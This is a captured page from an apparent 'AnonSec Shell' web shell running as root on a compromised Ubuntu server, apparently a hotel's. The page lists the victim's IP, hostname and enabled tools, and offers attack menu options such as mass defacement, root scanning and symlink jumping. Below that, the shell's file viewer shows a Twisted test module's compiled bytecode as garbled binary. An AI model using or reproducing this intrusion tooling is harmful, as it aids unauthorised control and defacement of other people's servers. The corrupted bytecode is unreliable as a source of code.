AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/python/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/python/test/__pycache__/test_pydoctor.cpython-310.pyc
o

�bF�@srdZddlmZddlmZed�ZdZeZeZ	edurdZnddl
mZm	Z	Gdd	�d	e�ZGd
d�de�ZdS)z(
Tests for L{twisted.python._pydoctor}.
�)�
requireModule)�TestCasezpydoctor.modelNzPydoctor is not present.)�TwistedSphinxInventory�
TwistedSystemc@s<eZdZdZeZdd�Zdd�Zdd�Zdd	�Z	d
d�Z
dS)
�TwistedSystemTestsz%
    Tests for L{TwistedSystem}.
    cCst�}|�|jt�dS)zM
        After initialization it has a custom C{intersphinx} member.
        N)r�assertIsInstance�intersphinxr)�self�sut�r�C/usr/lib/python3/dist-packages/twisted/python/test/test_pydoctor.py�test_initCustomSphinxInventorysz1TwistedSystemTests.test_initCustomSphinxInventorycCsDt�}tj|ddd�}tj|d|d�}|�|�}|�|tjj�dS)z�
        The base I{twisted.test} package is visible to allow traversal to a
        few selected test API which is visible.
        �twistedN��system�name�parent�test)r�model�Package�privacyClass�assertIs�PrivacyClass�VISIBLE)r	r
�twistedPackage�twistedTestPackage�resultrrr� test_privacyClassBaseTestPackage$s��
z3TwistedSystemTests.test_privacyClassBaseTestPackagecC�Tt�}tj|ddd�}tj|d|d�}tj|d|d�}|�|�}|�|tjj�dS)zF
        The I{twisted.test.proto_helpers} module is visible.
        rNrr�
proto_helpers)rrr�Modulerrrr)r	r
rr�twistedProtoHelpersModulerrrr�test_privacyClassProtoHelpers9�$���
z0TwistedSystemTests.test_privacyClassProtoHelperscCr)zE
        Any child of the I{twisted.test} package is hidden.
        rNrr�other_child)rrrr rrr�HIDDEN)r	r
rr�twistedAnyTestModulerrrr� test_privacyClassChildTestModuleRr#z3TwistedSystemTests.test_privacyClassChildTestModulecCs�t�}tj|ddd�}tj|d|d�}tj|d|d�}tj|d|d�}|�|�}|�|tjj�|�|�}|�|tjj�|�|�}|�|tjj�dS)z
        Any child of the I{twisted} package has a privacy according to the
        general rules defined in pydoctor.
        rNr�
subprojectr$�_private_child)	rrrr rrrr�PRIVATE)r	r
r�twistedSubProjectPackage�twistedSubProjectModule�twistedPrivateModulerrrr�test_privacyClassPublicCodeks6����


z.TwistedSystemTests.test_privacyClassPublicCodeN)�__name__�
__module__�__qualname__�__doc__�pydoctorSkip�skipr
rr"r'r.rrrrrsrc@s4eZdZdZeZdd�Zdd�Zdd�Zdd	�Z	d
S)�TwistedSphinxInventoryTestsz.
    Tests for L{TwistedSphinxInventory}.
    cCs4tt�dd�}d}d}|j�||f||fd��|S)z�
        Initialized a pre-loaded inventory.

        @return: A new inventory which already has a few I{zope.interface}
            inter sphinx links loaded.
        @rtype: L{TwistedSphinxInventory}
        zSuper Duper)�logger�project_namezhttps://zope.tldz
api.html#$)�$zope.interface.interfaces.IInterfacez'zope.interface.declarations.implementer)r�object�_links�update)r	�	inventory�zopeBaseURL�
zopeAPIURLrrr�getInventoryWithZope�s��z0TwistedSphinxInventoryTests.getInventoryWithZopecC�"|��}|�d�}|�d|�dS)zO
        Return the full URL based on pre-loaded inter sphinx objects.
        r8z>https://zope.tld/api.html#zope.interface.interfaces.IInterfaceN�r?�getLink�assertEqual�r	r
rrrr�!test_getLinkExistentInInterSphinx�s

�z=TwistedSphinxInventoryTests.test_getLinkExistentInInterSphinxcCs4|��}|�d�}|�|�|�d�}|�|�dS)zw
        Any reference to I{zope.interface} which is not in the inter sphinx
        database returns L{None}.
        zzope.interface.Interfacezzope.interface.NoSuchReferenceN)r?rB�assertIsNonerDrrr�test_getLinkZopeNonExistent�s



z7TwistedSphinxInventoryTests.test_getLinkZopeNonExistentcCr@)z�
        I{zope.interface.adapter.AdapterRegistry} is a special case for which
        the link the narrative docs is returned as there is no API docs yet.
        z&zope.interface.adapter.AdapterRegistryzhttps://zope.tld/adapter.htmlNrArDrrr�test_getLinkZopeAdapterRegistry�s
z;TwistedSphinxInventoryTests.test_getLinkZopeAdapterRegistryN)
r/r0r1r2r3r4r?rErGrHrrrrr5�sr5)
r2�twisted.python.reflectr�twisted.trial.unittestrrr3r9rr�twisted.python._pydoctorrr5rrrr�<module>s{

Anon7 - 2022
AnonSec Team